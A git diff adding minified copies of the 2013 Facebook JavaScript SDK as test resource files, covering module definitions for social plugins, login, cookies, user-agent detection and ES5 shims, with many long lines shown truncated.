+__d("legacy:fb.pay",["FB","copyProperties","sdk.Runtime","sdk.UIServer","sdk.XD"],function(a,b,c,d){b('FB');var e=b('copyProperties'),f=b('sdk.Runtime'),g=b('sdk.UIServer'),h=b('sdk.XD'),i={error_code:1383001,error_message:'An unknown error caused the dialog to be closed'},j=function(k){return function(l){k(l&&l.response?ES5('JSON','parse',false,l.response):i);};};e(g.Methods,{'pay.prompt':{transform:function(k){var l=h.handler(j(k.cb),'parent.frames['+(window.name||'iframe_canvas')+']') [...]
+__d("legacy:fb.ua",["FB","UserAgent"],function(a,b,c,d){var e=b('FB'),f=b('UserAgent');e.provide('UA',{nativeApp:f.nativeApp});},3);
+__d("legacy:fb.ui",["FB","sdk.ui"],function(a,b,c,d){var e=b('FB'),f=b('sdk.ui');e.provide('',{ui:f});},3);
+__d("Miny",[],function(a,b,c,d,e,f){var g='Miny1',h={encode:[],decode:{}},i='wxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('');function j(n){for(var o=h.encode.length;o<n;o++){var p=o.toString(32).split('');p[p.length-1]=i[parseInt(p[p.length-1],32)];p=p.join('');h.encode[o]=p;h.decode[p]=o;}return h;}function k(n){var o=n.match(/\w+|\W+/g),p={};for(var q=0;q<o.length;q++)p[o[q]]=(p[o[q]]||0)+1;var r=ES5('Object','keys',false,p);r.sort(function(u,v){return p[u]<p[v]?1:(p[v]<p[u]?-1:0);});var s [...]
+__d("sdk.feature",["SDKConfig"],function(a,b,c,d,e,f){var g=c('SDKConfig');function h(i,j){if(g.features&&i in g.features)return g.features[i];return typeof j!=='undefined'?j:null;}e.exports=h;});
+__d("runOnce",[],function(a,b,c,d,e,f){function g(h){var i,j;return function(){if(!i){i=true;j=h();}return j;};}e.exports=g;});
+__d("XFBML",["Assert","copyProperties","createArrayFrom","sdk.DOM","sdk.feature","sdk.Impressions","Log","ObservableMixin","runOnce","UserAgent","SDKConfig"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('sdk.DOM'),k=b('sdk.feature'),l=b('sdk.Impressions'),m=b('Log'),n=b('ObservableMixin'),o=b('runOnce'),p=c('SDKConfig'),q=b('UserAgent'),r={},s={},t=0,u=new n();function v(ca,da){return ca[da]+'';}function w(ca){return ca.scopeName?(ca.scopeName+ [...]
+__d("PluginPipe",["sdk.Content","copyProperties","guid","insertIframe","Miny","ObservableMixin","sdk.Runtime","UrlMap","UserAgent","XFBML","PluginPipeConfig","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Content'),h=b('copyProperties'),i=b('guid'),j=b('insertIframe'),k=b('Miny'),l=b('ObservableMixin'),m=c('PluginPipeConfig'),n=b('sdk.Runtime'),o=c('SDKConfig'),p=b('UrlMap'),q=b('UserAgent'),r=b('XFBML'),s=new l(),t=m.threshold,u=[];function v(){return !!(o.usePluginPipe&&n.getSecure()! [...]
+__d("IframePlugin",["sdk.Auth","sdk.createIframe","sdk.DOM","sdk.Event","guid","Log","ObservableMixin","PluginPipe","QueryString","resolveURI","sdk.Runtime","Type","UrlMap","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.createIframe'),i=b('sdk.DOM'),j=b('sdk.Event'),k=b('guid'),l=b('Log'),m=b('ObservableMixin'),n=b('PluginPipe'),o=b('QueryString'),p=b('resolveURI'),q=b('sdk.Runtime'),r=b('Type'),s=b('UrlMap'),t=b('sdk.XD'),u={skin:'string',font:'string',width:'px',height:'p [...]
+__d("PluginTags",[],function(a,b,c,d,e,f){var g={activity:{border_color:'string',filter:'string',action:'string',max_age:'string',linktarget:'string',header:'bool',recommendations:'bool',site:'hostname'},create_event_button:{},degrees:{href:'url',limit_profile_visibility:'bool'},facepile:{href:'string',action:'string',size:'string',max_rows:'string',show_count:'bool'},friendpile:{href:'string',action:'string',size:'string',max_rows:'string'},follow:{href:'url',layout:'string',show_faces: [...]
+__d("sdk.Arbiter",[],function(a,b,c,d,e,f){var g={BEHAVIOR_EVENT:'e',BEHAVIOR_PERSISTENT:'p',BEHAVIOR_STATE:'s'};e.exports=g;});
+__d("sdk.XFBML.Element",["sdk.DOM","Type","ObservableMixin"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h=b('Type'),i=b('ObservableMixin'),j=h.extend({constructor:function(k){this.parent();this.dom=k;},fire:function(){this.inform.apply(this,arguments);},getAttribute:function(k,l,m){var n=g.getAttr(this.dom,k);return n?m?m(n):n:l;},_getBoolAttribute:function(k,l){var m=g.getBoolAttr(this.dom,k);return m===null?l:m;},_getPxAttribute:function(k,l){return this.getAttribute(k,l,function(m){var [...]
+__d("sdk.XFBML.IframeWidget",["sdk.Arbiter","sdk.Auth","sdk.Content","copyProperties","sdk.DOM","sdk.Event","sdk.XFBML.Element","guid","insertIframe","QueryString","sdk.Runtime","sdk.ui","UrlMap","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Arbiter'),h=b('sdk.Auth'),i=b('sdk.Content'),j=b('copyProperties'),k=b('sdk.DOM'),l=b('sdk.Event'),m=b('sdk.XFBML.Element'),n=b('guid'),o=b('insertIframe'),p=b('QueryString'),q=b('sdk.Runtime'),r=b('sdk.ui'),s=b('UrlMap'),t=b('sdk.XD'),u=m.extend({_if [...]
+__d("sdk.XFBML.Comments",["sdk.Event","sdk.XFBML.IframeWidget","QueryString","sdk.Runtime","UrlMap","UserAgent","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Event'),h=b('sdk.XFBML.IframeWidget'),i=b('QueryString'),j=b('sdk.Runtime'),k=c('SDKConfig'),l=b('UrlMap'),m=b('UserAgent'),n=h.extend({_visibleAfter:'immediate',_refreshOnAuthChange:true,setupAndValidate:function(){var o={channel_url:this.getChannelUrl(),colorscheme:this.getAttribute('colorscheme'),numposts:this.getAttribute('num [...]
+__d("sdk.XFBML.CommentsCount",["sdk.Data","sdk.DOM","sdk.XFBML.Element","sprintf"],function(a,b,c,d,e,f){var g=b('sdk.Data'),h=b('sdk.DOM'),i=b('sdk.XFBML.Element'),j=b('sprintf'),k=i.extend({process:function(){h.addCss(this.dom,'fb_comments_count_zero');var l=this.getAttribute('href',window.location.href);g._selectByIndex(['commentsbox_count'],'link_stat','url',l).wait(ES5(function(m){var n=m[0].commentsbox_count;h.html(this.dom,j('<span class="fb_comments_count">%s</span>',n));if(n>0)h [...]
+__d("sdk.Anim",["sdk.DOM"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h={ate:function(i,j,k,l){k=!isNaN(parseFloat(k))&&k>=0?k:750;var m=40,n={},o={},p=null,q=setInterval(ES5(function(){if(!p)p=ES5('Date','now',false);var r=1;if(k!=0)r=Math.min((ES5('Date','now',false)-p)/k,1);for(var s in j)if(j.hasOwnProperty(s)){var t=j[s];if(!n[s]){var u=g.getStyle(i,s);if(u===false)return;n[s]=this._parseCSS(u+'');}if(!o[s])o[s]=this._parseCSS(t.toString());var v='';ES5(n[s],'forEach',true,function(w, [...]
+__d("escapeHTML",[],function(a,b,c,d,e,f){var g=/[&<>"'\/]/g,h={'&':'&','<':'<','>':'>','"':'"',"'":''','/':'/'};function i(j){return j.replace(g,function(k){return h[k];});}e.exports=i;});
+__d("sdk.Helper",["sdk.ErrorHandling","sdk.Event","safeEval","UrlMap"],function(a,b,c,d,e,f){var g=b('sdk.ErrorHandling'),h=b('sdk.Event'),i=b('safeEval'),j=b('UrlMap'),k={isUser:function(l){return l<2.2e+09||(l>=1e+14&&l<=100099999989999)||(l>=8.9e+13&&l<=89999999999999);},upperCaseFirstChar:function(l){if(l.length>0){return l.substr(0,1).toUpperCase()+l.substr(1);}else return l;},getProfileLink:function(l,m,n){n=n||(l?j.resolve('www')+'/profile.php?id='+l.uid:null);if(n)m='<a class="fb [...]
+__d("sdk.XFBML.ConnectBar",["sdk.Anim","sdk.api","sdk.Auth","createArrayFrom","sdk.Data","sdk.DOM","sdk.XFBML.Element","escapeHTML","sdk.Event","format","sdk.Helper","sdk.Insights","sdk.Intl","sdk.Runtime","UrlMap","UserAgent","ConnectBarConfig"],function(a,b,c,d,e,f){var g=b('sdk.Anim'),h=b('sdk.api'),i=b('sdk.Auth'),j=b('createArrayFrom'),k=c('ConnectBarConfig'),l=b('sdk.Data'),m=b('sdk.DOM'),n=b('sdk.XFBML.Element'),o=b('escapeHTML'),p=b('sdk.Event'),q=b('format'),r=b('sdk.Helper'),s= [...]
+__d("sdk.XFBML.Fan",["sdk.XFBML.IframeWidget","sdk.Runtime","Log"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.Runtime'),i=b('Log'),j=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={api_key:h.getClientID(),connections:this.getAttribute('connections','10'),css:this.getAttribute('css'),height:this._getPxAttribute('height'),id:this.getAttribute('profile-id'),logobar:this._getBoolAttribute('logo-bar'),name:this.getAttribute('name'),stream:this._get [...]
+__d("sdk.XFBML.EdgeCommentWidget",["sdk.XFBML.IframeWidget","sdk.DOM"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.DOM'),i=10000,j=g.extend({constructor:function(k){this.parent(k.commentNode);this._iframeWidth=k.width+1;this._iframeHeight=k.height;this._attr={master_frame_name:k.masterFrameName,offsetX:k.relativeWidthOffset-k.paddingLeft};this.dom=k.commentNode;this.dom.style.top=k.relativeHeightOffset+'px';this.dom.style.left=k.relativeWidthOffset+'px';this.dom.styl [...]
+__d("sdk.XFBML.EdgeWidget",["sdk.XFBML.IframeWidget","sdk.XFBML.EdgeCommentWidget","sdk.DOM","sdk.Helper","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.XFBML.EdgeCommentWidget'),i=b('sdk.DOM'),j=b('sdk.Helper'),k=b('sdk.Runtime'),l=g.extend({_visibleAfter:'immediate',_showLoader:false,_rootPadding:null,setupAndValidate:function(){i.addCss(this.dom,'fb_edge_widget_with_comment');this._attr={channel_url:this.getChannelUrl(),debug:this._getBoolAttribute('de [...]
+__d("sdk.XFBML.SendButtonFormWidget",["sdk.XFBML.EdgeCommentWidget","sdk.DOM","sdk.Event"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeCommentWidget'),h=b('sdk.DOM'),i=b('sdk.Event'),j=g.extend({constructor:function(k){this.parent(k);h.addCss(this.dom,'fb_send_button_form_widget');h.addCss(this.dom,k.colorscheme);h.addCss(this.dom,(typeof k.siderender!='undefined'&&k.siderender)?'siderender':'');this._attr.nodeImageURL=k.nodeImageURL;this._attr.nodeRef=k.nodeRef;this._attr.nodeTitle=k.n [...]
+__d("sdk.XFBML.Like",["sdk.XFBML.EdgeWidget","sdk.XFBML.SendButtonFormWidget"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeWidget'),h=b('sdk.XFBML.SendButtonFormWidget'),i=g.extend({getUrlBits:function(){return {name:'like',params:this._attr};},_createEdgeCommentWidget:function(j,k){if('send' in this._attr&&'widget_type' in j&&j.widget_type=='send'){var l=this._getCommonEdgeCommentWidgetOpts(j,k);return new h(l);}else return this.parentCall("_createEdgeCommentWidget",j,k);},getIframeTit [...]
+__d("sdk.XFBML.LikeBox",["sdk.XFBML.EdgeWidget","sdk.Helper","Log","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeWidget'),h=b('sdk.Helper'),i=b('Log'),j=b('sdk.Runtime'),k=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={channel:this.getChannelUrl(),api_key:j.getClientID(),connections:this.getAttribute('connections'),css:this.getAttribute('css'),height:this.getAttribute('height'),id:this.getAttribute('profile-id'),header:this._getBoolAttribute('header' [...]
+__d("sdk.XFBML.LiveStream",["sdk.XFBML.IframeWidget"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={app_id:this.getAttribute('event-app-id'),href:this.getAttribute('href',window.location.href),height:this._getPxAttribute('height',500),hideFriendsTab:this.getAttribute('hide-friends-tab'),redesigned:this._getBoolAttribute('redesigned-stream'),width:this._getPxAttribute('width',400),xid:this.getAttribute('xid [...]
+__d("sdk.XFBML.LoginButton",["sdk.Helper","IframePlugin"],function(a,b,c,d,e,f){var g=b('sdk.Helper'),h=b('IframePlugin'),i=h.extend({constructor:function(j,k,l,m){this.parent(j,k,l,m);var n=h.getVal(m,'on_login');if(n)this.subscribe('login.status',function(o){g.invokeHandler(n,null,[o]);});},getParams:function(){return {scope:'string',perms:'string',size:'string',login_text:'text',show_faces:'bool',max_rows:'string',show_login_face:'bool',registration_url:'url_maybe',auto_logout_link:'b [...]
+__d("sdk.XFBML.Name",["copyProperties","sdk.Data","escapeHTML","sdk.Event","sdk.XFBML.Element","sdk.Helper","Log","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('sdk.Data'),i=b('escapeHTML'),j=b('sdk.Event'),k=b('sdk.XFBML.Element'),l=b('sdk.Helper'),m=b('Log'),n=b('sdk.Runtime'),o=k.extend({process:function(){g(this,{_uid:this.getAttribute('uid'),_firstnameonly:this._getBoolAttribute('first-name-only'),_lastnameonly:this._getBoolAttribute('last-name-only'),_possessiv [...]
+__d("sdk.XFBML.ProfilePic",["sdk.Data","sdk.DOM","escapeHTML","sdk.XFBML.Element","sdk.Event","format","sdk.Helper","sdk.Runtime","UrlMap","ProfilePicConfig"],function(a,b,c,d,e,f){var g=b('sdk.Data'),h=b('sdk.DOM'),i=b('escapeHTML'),j=c('ProfilePicConfig'),k=b('sdk.XFBML.Element'),l=b('sdk.Event'),m=b('format'),n=b('sdk.Helper'),o=b('sdk.Runtime'),p=b('UrlMap'),q={n:'pic_big',normal:'pic_big',q:'pic_square',s:'pic',small:'pic',square:'pic_square',t:'pic_small',thumb:'pic_small'},r=k.ext [...]
+__d("sdk.XFBML.RecommendationsBar",["sdk.Arbiter","DOMEventListener","sdk.Event","sdk.XFBML.IframeWidget","resolveURI","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.Arbiter'),h=b('DOMEventListener'),i=b('sdk.Event'),j=b('sdk.XFBML.IframeWidget'),k=b('resolveURI'),l=b('sdk.Runtime'),m=j.extend({getUrlBits:function(){return {name:'recommendations_bar',params:this._attr};},setupAndValidate:function(){function n(w,x){var y=0,z=null;function aa(){x();z=null;y=ES5('Date','now',false);}retu [...]
+__d("sdk.XFBML.Registration",["sdk.Auth","sdk.Helper","sdk.XFBML.IframeWidget","sdk.Runtime","UrlMap"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.Helper'),i=b('sdk.XFBML.IframeWidget'),j=b('sdk.Runtime'),k=b('UrlMap'),l=i.extend({_visibleAfter:'immediate',_baseHeight:167,_fieldHeight:28,_skinnyWidth:520,_skinnyBaseHeight:173,_skinnyFieldHeight:52,setupAndValidate:function(){this._attr={action:this.getAttribute('action'),border_color:this.getAttribute('border-color'),channel_url:t [...]
+__d("sdk.XFBML.Send",["sdk.DOM","sdk.XFBML.EdgeWidget","sdk.Runtime","sdk.XFBML.SendButtonFormWidget"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h=b('sdk.XFBML.EdgeWidget'),i=b('sdk.Runtime'),j=b('sdk.XFBML.SendButtonFormWidget'),k=h.extend({setupAndValidate:function(){g.addCss(this.dom,'fb_edge_widget_with_comment');this._attr={channel:this.getChannelUrl(),api_key:i.getClientID(),font:this.getAttribute('font'),colorscheme:this.getAttribute('colorscheme','light'),href:this.getAttribute('h [...]
+__d("sdk.XFBML.SocialContext",["sdk.Event","sdk.XFBML.IframeWidget"],function(a,b,c,d,e,f){var g=b('sdk.Event'),h=b('sdk.XFBML.IframeWidget'),i=h.extend({setupAndValidate:function(){var j=this.getAttribute('size','small');this._attr={channel:this.getChannelUrl(),width:this._getPxAttribute('width',400),height:this._getPxAttribute('height',100),ref:this.getAttribute('ref'),size:this.getAttribute('size'),keywords:this.getAttribute('keywords'),urls:this.getAttribute('urls'),object_id:this.ge [...]
+__d("legacy:fb.xfbml",["Assert","sdk.domReady","sdk.Event","FB","IframePlugin","PluginTags","wrapFunction","XFBML","sdk.XFBML.Comments","sdk.XFBML.CommentsCount","sdk.XFBML.ConnectBar","sdk.XFBML.Fan","sdk.XFBML.Like","sdk.XFBML.LikeBox","sdk.XFBML.LiveStream","sdk.XFBML.LoginButton","sdk.XFBML.Name","sdk.XFBML.ProfilePic","sdk.XFBML.RecommendationsBar","sdk.XFBML.Registration","sdk.XFBML.Send","sdk.XFBML.SocialContext"],function(a,b,c,d){var e=b('Assert'),f=b('sdk.domReady'),g=b('sdk.Ev [...]
+void(0);
+}).call({}, window.inDapIF ? parent.window : window);
+} catch (e) {new Image().src="https:\/\/www.facebook.com\/" + 'common/scribe_endpoint.php?c=jssdk_error&m='+encodeURIComponent('{"error":"LOAD", "extra": {"name":"'+e.name+'","line":"'+(e.lineNumber||e.line)+'","script":"'+(e.fileName||e.sourceURL||e.script)+'","stack":"'+(e.stackTrace||e.stack)+'","message":"'+e.message+'"}}');}
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/all_002.js b/src/test/resources/s/Filer_for_fark/all_002.js
new file mode 100644
index 0000000..b8f0ee6
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/all_002.js
@@ -0,0 +1,153 @@
+/*1359096518,171251741,JIT Construction: v719720,en_US*/
+
+/**
+ * Copyright Facebook Inc.
+ *
+ * Licensed under the Apache License, Version 2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+try {window.FB || (function(window) {
+var self = window, document = window.document;
+var setTimeout = window.setTimeout, setInterval = window.setInterval;var __DEV__ = 0;
+function emptyFunction() {};
+
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+
+__d("sdk.RuntimeConfig",[],{"locale":"en_US","rtl":false});__d("UrlMapConfig",[],{"www":"www.facebook.com","m":"m.facebook.com","connect":"connect.facebook.net","api_https":"api.facebook.com","api_read_https":"api-read.facebook.com","graph_https":"graph.facebook.com","fbcdn_http":"static.ak.fbcdn.net","fbcdn_https":"fbstatic-a.akamaihd.net","cdn_http":"static.ak.facebook.com","cdn_https":"s-static.ak.facebook.com"});__d("XDConfig",[],{"XdUrl":"connect\/xd_arbiter.php?version=18","Flash": [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("ManagedError",[],function(a,b,c,d,e,f){function g(h,i){Error.prototype.constructor.call(this,h);this.message=h;this.innerError=i;}g.prototype=new Error();g.prototype.constructor=g;e.exports=g;});
+__d("AssertionError",["ManagedError"],function(a,b,c,d,e,f){var g=b('ManagedError');function h(i){g.prototype.constructor.apply(this,arguments);}h.prototype=new g();h.prototype.constructor=h;e.exports=h;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("Assert",["AssertionError","sprintf"],function(a,b,c,d,e,f){var g=b('AssertionError'),h=b('sprintf');function i(n,o){if(!n)throw new g(o);return n;}function j(n,o,p){var q;if(o===undefined){q='undefined';}else if(o===null){q='null';}else{var r=Object.prototype.toString.call(o);q=/\s(\w*)/.exec(r)[1].toLowerCase();}i(ES5(n,'indexOf',true,q)!==-1,p||h('Expression is of type %s, not %s',q,n));return o;}function k(n,o,p){i(o instanceof n,p||'Expression not instance of type');return o;}fu [...]
+__d("Type",["copyProperties","Assert"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Assert');function i(){var m=this.__mixins;if(m)for(var n=0;n<m.length;n++)m[n].apply(this,arguments);}function j(m,n){if(n instanceof m)return true;if(n instanceof i)for(var o=0;o<n.__mixins.length;o++)if(n.__mixins[o]==m)return true;return false;}function k(m,n){var o=m.prototype;if(!ES5('Array','isArray',false,n))n=[n];for(var p=0;p<n.length;p++){var q=n[p];if(typeof q=='function'){o.__mixins.pu [...]
+__d("ObservableMixin",[],function(a,b,c,d,e,f){function g(){this.__observableEvents={};}g.prototype={inform:function(h){var i=Array.prototype.slice.call(arguments,1),j=Array.prototype.slice.call(this.getSubscribers(h));for(var k=0;k<j.length;k++){if(j[k]===null)continue;try{j[k].apply(this,i);}catch(l){setTimeout(function(){throw l;},0);}}return this;},getSubscribers:function(h){return this.__observableEvents[h]||(this.__observableEvents[h]=[]);},clearSubscribers:function(h){if(h)this.__ [...]
+__d("sdk.Model",["Type","ObservableMixin"],function(a,b,c,d,e,f){var g=b('Type'),h=b('ObservableMixin'),i=g.extend({constructor:function(j){this.parent();var k={},l=this;ES5(ES5('Object','keys',false,j),'forEach',true,function(m){k[m]=j[m];l['set'+m]=function(n){if(n===k[m])return this;k[m]=n;l.inform(m+'.change',n);return l;};l['get'+m]=function(){return k[m];};});}},h);e.exports=i;});
+__d("sdk.Runtime",["sdk.Model","copyProperties","sdk.RuntimeConfig"],function(a,b,c,d,e,f){var g=b('sdk.Model'),h=c('sdk.RuntimeConfig'),i=b('copyProperties'),j={UNKNOWN:0,PAGETAB:1,CANVAS:2,PLATFORM:4},k=new g({AccessToken:'',ClientID:'',Environment:j.UNKNOWN,Initialized:false,Locale:h.locale,LoginStatus:undefined,Rtl:h.rtl,Scope:undefined,Secure:undefined,UseCookie:false,UserID:''});i(k,{ENVIRONMENTS:j,isEnvironment:function(l){var m=this.getEnvironment();return (l|m)===m;}});(function [...]
+__d("sdk.Cookie",["QueryString","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('QueryString'),h=b('sdk.Runtime'),i=null;function j(m,n,o){m=m+h.getClientID();var p=i&&i!=='.';if(p){document.cookie=m+'=; expires=Wed, 04 Feb 2004 08:00:00 GMT;';document.cookie=m+'=; expires=Wed, 04 Feb 2004 08:00:00 GMT;'+'domain='+location.hostname+';';}var q=new Date(o).toGMTString();document.cookie=m+'='+n+(n&&o===0?'':'; expires='+q)+'; path=/'+(p?'; domain='+i:'');}function k(m){m=m+h.getClientID();var [...]
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("hasNamePropertyBug",["guid"],function(a,b,c,d,e,f){var g=b('guid'),h;function i(){var k=document.createElement("form"),l=k.appendChild(document.createElement("input"));l.name=g();h=l!==k.elements[l.name];k=l=null;return h;}function j(){return typeof h==='undefined'?i():h;}e.exports=j;});
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("sdk.createIframe",["copyProperties","guid","hasNamePropertyBug","DOMEventListener"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('guid'),i=b('hasNamePropertyBug'),j=b('DOMEventListener');function k(l){l=g({},l);var m,n=l.name||h(),o=l.root,p=l.style||{border:'none'},q=l.url,r=l.onload;if(i()){m=document.createElement('<iframe name="'+n+'"/>');}else{m=document.createElement("iframe");m.name=n;}delete l.style;delete l.name;delete l.url;delete l.root;delete l.onload;var s=g({fra [...]
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("sdk.getContextType",["UserAgent","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=b('sdk.Runtime');function i(){if(g.nativeApp())return 3;if(g.mobile())return 2;if(h.isEnvironment(h.ENVIRONMENTS.CANVAS))return 5;return 1;}e.exports=i;});
